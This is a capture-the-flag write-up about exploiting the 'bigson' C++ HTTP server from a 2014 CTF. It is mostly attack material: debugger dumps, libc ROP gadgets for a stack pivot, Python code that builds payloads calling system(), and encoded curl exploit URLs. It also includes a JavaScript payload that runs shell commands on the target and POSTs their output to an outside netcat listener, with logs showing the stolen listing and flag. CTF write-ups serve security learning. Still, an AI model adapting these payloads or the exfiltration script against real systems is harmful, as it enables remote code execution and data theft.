   0x4034d1 <_ZNK9HashTable4HashERKSs+123>:	add    rsp,0x10
   0x4034d5 <_ZNK9HashTable4HashERKSs+127>:	pop    rbx
   0x4034d6 <_ZNK9HashTable4HashERKSs+128>:	pop    r12
   0x4034d8 <_ZNK9HashTable4HashERKSs+130>:	pop    rbp
Guessed arguments:
arg[0]: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
arg[1]: 0x60fc38 --> 0x61616100656c6966 ('file')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 
0016| 0x7fffffffcfa0 --> 0x0 
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>:	xor    ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>:	mov    QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$ context stack 100
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 
0016| 0x7fffffffcfa0 --> 0x0 
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>:	xor    ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>:	mov    QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 
0064| 0x7fffffffcfd0 --> 0x0 
0072| 0x7fffffffcfd8 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET')
0080| 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0088| 0x7fffffffcfe8 --> 0x4028e7 (<_Z12IndexHandlerRKSsRK11HttpRequestP12HttpResponse+268>:	mov    QWORD PTR [rbp-0x18],rax)
0096| 0x7fffffffcff0 --> 0x24ab43c8 
0104| 0x7fffffffcff8 --> 0x7fffffffd2a0 --> 0xc8 
0112| 0x7fffffffd000 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET')
0120| 0x7fffffffd008 --> 0x7fffffffd308 --> 0x60faa8 --> 0x7865646e692f ('/index')
0128| 0x7fffffffd010 --> 0xffffffff 
0136| 0x7fffffffd018 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 
0144| 0x7fffffffd020 --> 0x7ffff7ae05f0 --> 0xc002200024046 
0152| 0x7fffffffd028 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 
0160| 0x7fffffffd030 --> 0xffffffff 
0168| 0x7fffffffd038 --> 0x7ffff7fb6030 --> 0x7ffff7b1b1a8 ("GLIBCXX_3.4")
0176| 0x7fffffffd040 --> 0x250 
0184| 0x7fffffffd048 --> 0x1 
0192| 0x7fffffffd050 --> 0x0 
0200| 0x7fffffffd058 --> 0x7ffff7ffa9d0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 
0208| 0x7fffffffd060 --> 0x661b4bde 
0216| 0x7fffffffd068 --> 0x7ffff7ffe4e0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 
0224| 0x7fffffffd070 --> 0x687d56c0 
0232| 0x7fffffffd078 --> 0x7fffffffdb60 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
0240| 0x7fffffffd080 --> 0x7fffffffd0a0 --> 0x0 
0248| 0x7fffffffd088 --> 0x60b280 --> 0x7ffff7b907d0 (<_ZNKSs5c_strEv>:	mov    rax,QWORD PTR [rdi])
0256| 0x7fffffffd090 --> 0x0 
0264| 0x7fffffffd098 --> 0x7fffffffdd00 --> 0x1 
0272| 0x7fffffffd0a0 --> 0x0 
0280| 0x7fffffffd0a8 --> 0x0 
0288| 0x7fffffffd0b0 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0296| 0x7fffffffd0b8 --> 0x7ffff7de8f35 (<_dl_fixup+245>:	mov    rbp,rax)
0304| 0x7fffffffd0c0 --> 0x7fff00000001 
0312| 0x7fffffffd0c8 --> 0x0 
0320| 0x7fffffffd0d0 --> 0x0 
0328| 0x7fffffffd0d8 --> 0x7ffff7ae05f0 --> 0xc002200024046 
0336| 0x7fffffffd0e0 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)
0344| 0x7fffffffd0e8 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0352| 0x7fffffffd0f0 --> 0x40319a (<_ZN7PHPHashclEPKc>:	push   rbp)
0360| 0x7fffffffd0f8 --> 0x7ffff7def445 (<_dl_runtime_resolve+53>:	mov    r11,rax)
0368| 0x7fffffffd100 --> 0x7fffffffd1f0 --> 0x0 
0376| 0x7fffffffd108 --> 0x7ffff75b85c0 --> 0x0 
0384| 0x7fffffffd110 --> 0x7fffffffd1f0 --> 0x0 
0392| 0x7fffffffd118 --> 0x0 
0400| 0x7fffffffd120 --> 0x6101c9 --> 0x0 
0408| 0x7fffffffd128 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)
0416| 0x7fffffffd130 --> 0x0 
0424| 0x7fffffffd138 --> 0x101 
0432| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0440| 0x7fffffffd148 --> 0x4034d1 (<_ZNK9HashTable4HashERKSs+123>:	add    rsp,0x10)
0448| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x0 
0456| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 
0464| 0x7fffffffd160 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
.......

Unfortunately, it seems that an “add rsp, … ; ret” gadget isn't going to cut it. After some failed attempts to exploit it in this way I had another idea: let's add another parameter to the request:

$ curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAAABCD&TESTINGPARAM=TESTINGVALUE"
 
 
 
gdb-peda$ contin
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x60fd78 ("TESTINGPARAM")
RBX: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RCX: 0x7fffffffd350 --> 0x1 
RDX: 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
RSI: 0x60fd78 ("TESTINGPARAM")
RDI: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RBP: 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
RSP: 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>:	call   r12)
R8 : 0x0 
R9 : 0x0 
R10: 0x7ffff75b8618 --> 0x610300 --> 0x0 
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 
R12: 0x6161610044434241 ('ABCD')
R13: 0x7fffffffdd00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4034c3 <_ZNK9HashTable4HashERKSs+109>:	call   0x401bb0 <_ZNKSs5c_strEv@plt>
   0x4034c8 <_ZNK9HashTable4HashERKSs+114>:	mov    rsi,rax
   0x4034cb <_ZNK9HashTable4HashERKSs+117>:	mov    rdi,rbx
=> 0x4034ce <_ZNK9HashTable4HashERKSs+120>:	call   r12
   0x4034d1 <_ZNK9HashTable4HashERKSs+123>:	add    rsp,0x10
   0x4034d5 <_ZNK9HashTable4HashERKSs+127>:	pop    rbx
   0x4034d6 <_ZNK9HashTable4HashERKSs+128>:	pop    r12
   0x4034d8 <_ZNK9HashTable4HashERKSs+130>:	pop    rbp
Guessed arguments:
arg[0]: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
arg[1]: 0x60fd78 ("TESTINGPARAM")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
0008| 0x7fffffffd128 --> 0x7fffffffd350 --> 0x1 
0016| 0x7fffffffd130 --> 0x0 
0024| 0x7fffffffd138 --> 0x401ff0 (<_start>:	xor    ebp,ebp)
0032| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 
0040| 0x7fffffffd148 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>:	mov    QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
0056| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$

This is much much better. We can use an “xchg esp, eax” gadget from libc to pivot the stack (as the heap address fits inside 4 bytes: 0x60fd78) and add any ROP chain we want.

[-------------------------------------code-------------------------------------]
=> 0x7ffff731e585 <innetgr+725>:	ret    
   0x7ffff731e586 <innetgr+726>:	lea    rsi,[r12+0x48]
   0x7ffff731e58b <innetgr+731>:	lea    rdi,[r12+0x40]
   0x7ffff731e590 <innetgr+736>:	call   0x7ffff731de40 <free_memory.isra.1>
[------------------------------------stack-------------------------------------]
0000| 0x60fd78 ("TESTINGPARAM")
0008| 0x60fd80 --> 0x314141004d415241 ('ARAM')
0016| 0x60fd88 ("AACAAcAAABCD")
0024| 0x60fd90 --> 0x44434241 ('ABCD')
0032| 0x60fd98 --> 0x31 ('1')
0040| 0x60fda0 --> 0x60fc40 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>:	push   rbp)
0048| 0x60fda8 --> 0x4 
0056| 0x60fdb0 --> 0xffffffff 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007ffff731e585 in innetgr () from /lib64/libc.so.6
gdb-peda$ hexdump $rsp /5
0x0060fd78 : 54 45 53 54 49 4e 47 50 41 52 41 4d 00 41 41 31   TESTINGPARAM.AA1
0x0060fd88 : 41 41 43 41 41 63 41 41 41 42 43 44 00 00 00 00   AACAAcAAABCD....
0x0060fd98 : 31 00 00 00 00 00 00 00 40 fc 60 00 00 00 00 00   1.......@.`.....
0x0060fda8 : 04 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00   ................
0x0060fdb8 : 54 45 53 54 00 4e 47 50 41 52 41 4d 00 00 00 00   TEST.NGPARAM....

Local exploitation

The gadgets I found useful from libc were:

   0x2adb7 <newlocale+951>:	xchg   esp,eax
   0x2adb8 <newlocale+952>:	ret    
 
   0x1055a0 <xdr_free+16>:	mov    rdi,rsp
   0x1055a3 <xdr_free+19>:	call   rdx
 
   0x1b8a:	pop    rdx
   0x1b8b:	ret  
 
   0x2024b:	pop    rdi
   0x2024c:	ret   

To test locally I like to use the sleep function for 0x10 seconds. We leverage the fact that urldecode is applied on the parameter names and values when sending payload bytes.

cmd += quote_string( struct.pack("<Q", poprdi) )
cmd += quote_string( struct.pack("<Q", 0x10 ) )
cmd += quote_string( struct.pack("<Q", sleep) )
$ time python /tmp/writeup/testsleep.py 7ffff7214000
curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%D8%9E%23%F7%FF%7F%00%00%10%00%00%00%00%00%00%00%00%0C%2D%F7%FF%7F%00%00=TESTINGVALUE"
curl: (52) Empty reply from server
 
real	0m16.004s
user	0m0.001s
sys	0m0.001s

By modifying the exploit script to call system() we should get the result back on to the socket:

cmd += quote_string( struct.pack("<Q", poprdx) )
cmd += quote_string( struct.pack("<Q", system) )
cmd += quote_string( struct.pack("<Q", movcall) )
cmd += quote_string("""echo -en "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 100\r\n\r\n `date` " >&10 ; exit;""")
$ python /tmp/writeup.py 7ffff7214000
 
curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%2E%8E%21%F7%FF%7F%00%00%80%8F%25%F7%FF%7F%00%00%60%F3%32%F7%FF%7F%00%00%65%63%68%6F%20%2D%65%6E%20%22%48%54%54%50%2F%31%2E%31%20%32%30%30%20%4F%4B%0D%0A%43%6F%6E%74%65%6E%74%2D%54%79%70%65%3A%20%74%65%78%74%2F%68%74%6D%6C%0D%0A%43%6F%6E%74%65%6E%74%2D%4C%65%6E%67%74%68%3A%20%31%30%30%0D%0A%0D%0A%20%60%64%61%74%65%60%20%22%20%3E%26%31%30%20%3B%20%65%78%69%74%3B=TESTINGVALUE"
curl: (18) transfer closed with 69 bytes remaining to read
 Mon Apr 21 14:02:09 EEST 2014 

Remote exploitation

First I tested the exploit using sleep as before and everything worked ok. However, trying to write on the socket always produced an error in the XMLHttpRequest that I haven't gotten round to fixing.
Fortunately, I came up with another idea to get the data out from there: since we can run any commands why not write into /tmp/ the output of commands and then grab the contents using the “normal” behaviour of the bigson server?

We tweak the javascript payload into the following:

part2.js
function do_requests(file_path, payload) {
 
		var response = '';
		var geturl = "";
		if (file_path != '') {
			geturl = "http://bigson.essolutions.largestctf.com/index?file=" + file_path;
		};
 
		if (payload != '') {
			var base = "http://bigson.essolutions.largestctf.com/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=";
			geturl = base + payload;
		};
 
 
		$.ajax({ type: "GET",
			url: geturl,
			async: false,
			beforeSend : function (xhr) {
				xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" );
			},
			success : function(data, textStatus, jqXHR)
			{
				response += jqXHR.responseText;
			},
			error: function(jqXHR, textStatus, ex) {
				response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode();
			}
 
		});
 
		if (file_path != '') {
			$.ajax({ type: "POST",
				 url: "http://swarm.cs.pub.ro:42424",
				 async: false,
				 data:  "POST request made. Response was:\n" + response,
				 success : function(text)
				 {
				 }
			});
		};
 
}
 
function requests() {
	do_requests("", "%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00&%8A%BB%5E%7A%8B%7F%00%00%80%9F%62%7A%8B%7F%00%00%A0%F5%6E%7A%8B%7F%00%00%20%6C%73%20%2D%61%6C%20%2F%68%6F%6D%65%2F%62%69%67%73%6F%6E%20%3E%20%2F%74%6D%70%2F%73%75%70%65%72%5F%73%65%63%72%65%74%5F%6E%61%6D%65%7A%3B%20%65%78%69%74%3B=TESTINGVALUE");
 
	do_requests("/tmp/super_secret_namez","");
}
 
	var script = document.createElement("SCRIPT");
	script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js';
	script.type = 'text/javascript';
	document.getElementsByTagName("head")[0].appendChild(script);
	script.onload = requests;

And set the payload to:

cmd += quote_string( struct.pack("<Q", poprdx) )
cmd += quote_string( struct.pack("<Q", system) )
cmd += quote_string( struct.pack("<Q", movcall) )
cmd += quote_string(""" ls -al /home/bigson > /tmp/super_secret_namez; exit;""")

This is the result:

rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37136
POST / HTTP/1.1
Origin: http://portal.essolutions.largestctf.com
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://portal.essolutions.largestctf.com/login.php
Content-Length: 338
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424
 
POST request made. Response was:
total 108
drwxr-xr-x 2 root root    4096 Apr 13 16:39 .
drwxr-xr-x 4 root root    4096 Apr 12 22:44 ..
-rwxr-xr-x 1 root root   94113 Apr 13 02:16 bigson
-rw-r--r-- 1 root root     231 Apr 13 16:22 index.html
-r--r----- 1 root bigson    30 Apr 12 22:49 really_weirdly_named_key_haha

And cat on the file to receive:

rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37160
POST / HTTP/1.1
Origin: http://portal.essolutions.largestctf.com
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://portal.essolutions.largestctf.com/login.php
Content-Length: 63
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424
 
POST request made. Response was:
WEB_you_hacked_the_bigson_WEB
writeups/pctf2014_bronies2.txt · Last modified: 2014/04/23 09:13 by rcaragea
[unknown link type]Back to top